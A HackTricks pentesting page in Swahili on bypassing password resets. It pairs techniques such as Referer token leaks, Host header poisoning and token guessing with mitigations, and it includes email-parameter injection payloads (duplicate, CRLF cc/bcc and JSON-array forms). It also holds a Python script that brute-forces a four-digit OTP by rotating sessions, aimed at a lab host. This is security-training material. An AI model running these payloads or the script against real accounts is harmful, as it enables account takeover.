Reset/Forgotten Password Bypass
Reading time: 9 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Password Reset Token Leak Via Referrer
- Header ya HTTP referer inaweza kuvuja token ya kurekebisha nenosiri ikiwa imejumuishwa katika URL. Hii inaweza kutokea wakati mtumiaji anapobofya kiungo cha tovuti ya mtu wa tatu baada ya kuomba kurekebisha nenosiri.
- Impact: Uwezekano wa kuchukua akaunti kupitia mashambulizi ya Cross-Site Request Forgery (CSRF).
- Exploitation: Ili kuangalia ikiwa token ya kurekebisha nenosiri inavuja katika header ya referer, omba kurekebisha nenosiri kwa anwani yako ya barua pepe na bofya kiungo cha kurekebisha kilichotolewa. Usibadilishe nenosiri lako mara moja. Badala yake, tembelea tovuti ya mtu wa tatu (kama Facebook au Twitter) wakati ukikamata maombi kwa kutumia Burp Suite. Kagua maombi ili kuona ikiwa header ya referer ina token ya kurekebisha nenosiri, kwani hii inaweza kufichua taarifa nyeti kwa watu wa tatu.
- References:
- HackerOne Report 342693
- HackerOne Report 272379
- Password Reset Token Leak Article
Password Reset Poisoning
- Washambuliaji wanaweza kubadilisha header ya Host wakati wa maombi ya kurekebisha nenosiri ili kuelekeza kiungo cha kurekebisha kwenye tovuti mbaya.
- Impact: Inasababisha uwezekano wa kuchukua akaunti kwa kuvuja token za kurekebisha kwa washambuliaji.
- Mitigation Steps:
- Thibitisha header ya Host dhidi ya orodha ya domain zinazoruhusiwa.
- Tumia mbinu salama, za upande wa seva ili kuunda URLs kamili.
- Patch: Tumia
$_SERVER['SERVER_NAME']
kujenga URLs za kurekebisha nenosiri badala ya$_SERVER['HTTP_HOST']
. - References:
- Acunetix Article on Password Reset Poisoning
Password Reset By Manipulating Email Parameter
Washambuliaji wanaweza kubadilisha ombi la kurekebisha nenosiri kwa kuongeza vigezo vya barua pepe vya ziada ili kuhamasisha kiungo cha kurekebisha.
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili kwa kutumia &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili ukitumia %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili ukitumia |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili kwa kutumia cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili kwa kutumia bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili kwa kutumia ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili katika array ya json
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- Hatua za Kupunguza:
- Pitia na kuthibitisha vigezo vya barua pepe upande wa seva.
- Tumia taarifa zilizopangwa au maswali yaliyopangwa ili kuzuia mashambulizi ya kuingiza.
- Marejeo:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Kubadilisha Barua Pepe na Nywila ya Mtumiaji yeyote kupitia Vigezo vya API
- Washambuliaji wanaweza kubadilisha vigezo vya barua pepe na nywila katika maombi ya API ili kubadilisha taarifa za akaunti.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- Hatua za Kupunguza:
- Hakikisha uthibitisho wa vigezo na ukaguzi wa uthibitisho ni mkali.
- Tekeleza ufuatiliaji na uandishi wa habari wenye nguvu ili kugundua na kujibu shughuli za kushuku.
- Marejeo:
- Uchukue Akaunti Kamili kupitia Ubadilishaji wa Vigezo vya API
Hakuna Kizuizi cha Kiwango: Barua Pepe ya Kumbukumbu
- Ukosefu wa kizuizi cha kiwango kwenye maombi ya kurekebisha nenosiri kunaweza kusababisha barua pepe nyingi, kumshughulisha mtumiaji na barua pepe za kurekebisha.
- Hatua za Kupunguza:
- Tekeleza kizuizi cha kiwango kulingana na anwani ya IP au akaunti ya mtumiaji.
- Tumia changamoto za CAPTCHA kuzuia matumizi ya kiotomatiki.
- Marejeo:
- Ripoti ya HackerOne 280534
Jifunze Jinsi Token ya Kurekebisha Nenosiri Inavyotengenezwa
- Kuelewa muundo au njia nyuma ya uzalishaji wa token kunaweza kusababisha kutabiri au kujaribu nguvu token. Chaguzi kadhaa:
- Kulingana na Wakati
- Kulingana na UserID
- Kulingana na barua pepe ya Mtumiaji
- Kulingana na Jina la Kwanza na Jina la Mwisho
- Kulingana na Tarehe ya Kuzaliwa
- Kulingana na Cryptography
- Hatua za Kupunguza:
- Tumia njia za nguvu, za kisasa za uzalishaji wa token.
- Hakikisha kuna kutokuwa na mpangilio wa kutosha na urefu ili kuzuia kutabirika.
- Zana: Tumia Burp Sequencer kuchambua kutokuwa na mpangilio kwa token.
UUID Inayoweza Kukisiwa
- Ikiwa UUIDs (toleo 1) zinaweza kukisiwa au kutabirika, washambuliaji wanaweza kujaribu nguvu ili kuzalisha token za kurekebisha halali. Angalia:
- Hatua za Kupunguza:
- Tumia toleo la GUID 4 kwa kutokuwa na mpangilio au tekeleza hatua za ziada za usalama kwa toleo zingine.
- Zana: Tumia guidtool kwa uchambuzi na uzalishaji wa GUIDs.
Manipulering ya Majibu: Badilisha Jibu Mbaya na Jibu Nzuri
- Kubadilisha majibu ya HTTP ili kupita ujumbe wa makosa au vizuizi.
- Hatua za Kupunguza:
- Tekeleza ukaguzi wa upande wa seva ili kuhakikisha uaminifu wa majibu.
- Tumia njia salama za mawasiliano kama HTTPS kuzuia mashambulizi ya mtu katikati.
- Marejeo:
- Kosa Muhimu katika Tukio la Bug Bounty la Moja kwa Moja
Kutumia Token Iliyokwisha Muda
- Kuangalia ikiwa token zilizokwisha muda zinaweza bado kutumika kwa ajili ya kurekebisha nenosiri.
- Hatua za Kupunguza:
- Tekeleza sera kali za kumalizika kwa token na kuthibitisha kumalizika kwa token upande wa seva.
Jaribio la Nenosiri la Kurekebisha Token
- Kujaribu kujaribu nguvu token ya kurekebisha kwa kutumia zana kama Burpsuite na IP-Rotator ili kupita vizuizi vya kiwango vya IP.
- Hatua za Kupunguza:
- Tekeleza kizuizi cha kiwango chenye nguvu na mifumo ya kufunga akaunti.
- Fuata shughuli za kushuku zinazoweza kuashiria mashambulizi ya kujaribu nguvu.
Jaribu Kutumia Token Yako
- Kuangalia ikiwa token ya kurekebisha ya mshambuliaji inaweza kutumika pamoja na barua pepe ya mwathirika.
- Hatua za Kupunguza:
- Hakikisha kwamba token zimefungwa kwa kikao cha mtumiaji au sifa nyingine maalum za mtumiaji.
Ubatilishaji wa Kikao katika Kutoka/Kurekebisha Nenosiri
- Hakikisha kwamba vikao vinabatilishwa wakati mtumiaji anapotoka au kurekebisha nenosiri yao.
- Hatua za Kupunguza:
- Tekeleza usimamizi mzuri wa kikao, kuhakikisha kwamba vikao vyote vinabatilishwa wakati wa kutoka au kurekebisha nenosiri.
Ubatilishaji wa Kikao katika Kutoka/Kurekebisha Nenosiri
- Token za kurekebisha zinapaswa kuwa na muda wa kumalizika baada ya hapo zinakuwa zisizo halali.
- Hatua za Kupunguza:
- Weka muda wa kumalizika unaofaa kwa token za kurekebisha na utekekeleze kwa ukali upande wa seva.
Kizuizi cha kiwango cha OTP kwa kubadilisha kikao chako
- Ikiwa tovuti inatumia kikao cha mtumiaji kufuatilia majaribio mabaya ya OTP na OTP ilikuwa dhaifu ( <= 4 digits) basi tunaweza kwa ufanisi kujaribu nguvu OTP.
- kuvamia:
- omba tu token mpya ya kikao baada ya kuzuia na seva.
- Mfano wa msimbo unaovamia kosa hili kwa kukisia kwa bahati nasibu OTP (unapobadilisha kikao, OTP itabadilika pia, na hivyo hatutakuwa na uwezo wa kujaribu nguvu kwa mpangilio!):
python
# Uhamasishaji wa uthibitisho kwa kurekebisha nenosiri
# na coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Kuanzisha shambulio!")
sleep(3)
print("[+] Hii inaweza kuchukua takriban dakika 5 kumaliza!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nambari ya bahati nasibu kutoka 0 - 9999 na 4 d
parms["s"] = 164 # si muhimu inathiri tu mbele
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # fuata idadi ya majaribio
out = requests.get(logout,headers=headers) # kukutoa
mainp = requests.get(root) # inapata phpssid nyingine (token)
cookies = out.cookies # toa sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #sasisha vichwa na kikao kipya
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # inatuma barua pepe kubadilisha nenosiri kwa
ter = 0 # rejesha ter ili tupate kikao kipya baada ya majaribio 8
else:
ter += 1
if(len(res.text) == 2292): # hii ni urefu wa ukurasa unapopata nambari ya urejelezi kwa usahihi (imepata kwa majaribio)
print(len(res.text)) # kwa habari ya debug
print(phpsessid)
reset_data = { # hapa tutabadilisha nenosiri kuwa kitu kipya
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Nenosiri limebadilishwa kuwa:D37djkamd!")
break
except Exception as e:
print("[+] Shambulio limekoma")
Marejeo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.